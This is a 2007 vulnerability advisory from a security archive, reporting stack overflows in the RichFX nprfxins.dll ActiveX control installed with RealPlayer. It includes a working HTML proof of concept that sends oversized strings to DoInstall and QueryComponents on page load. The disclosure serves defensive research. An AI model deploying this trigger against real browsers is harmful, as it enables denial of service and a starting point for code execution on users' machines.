richfx-overflow.txt

🗓️ 27 Nov 2007 00:00:00Reported by Elazar BroadType

packetstorm🔗 packetstormsecurity.com👁 15 Views

There are multiple stack overflows in the RichFX nprfxins.dll ActiveX Control installed with RealNetworks RealPlayer

`There are multiple stack overflows in the RichFX nprfxins.dll ActiveX Control. I almost positive that this control was installed with RealNetworks RealPlayer. This was tested on Windows XP SP2 fully patched and IE6. This control is marked safe for scripting. I have not tested code execution. PoC as follows:  
  
------------  
<!--  
written by e.b.  
-->  
<html>  
<head>  
<script language="JavaScript" DEFER>  
function Check() {  
var s = "AAAA";  
  
while (s.length < 999999) s=s+s;  
  
var obj = new ActiveXObject("RFXInstMgr.RFXInstMgr"); //{47F59200-8783-11D2-8343-00A0C945A819}  
  
  
obj.DoInstall(s);   
obj.QueryComponents(s);   
  
}  
</script>  
  
</head>  
<body onload="JavaScript: return Check();">  
  
</body>  
</html>   
  
------------  
  
  
Elazar  
  
`

27 Nov 2007 00:00Current

7.4High risk

Vulners AI Score7.4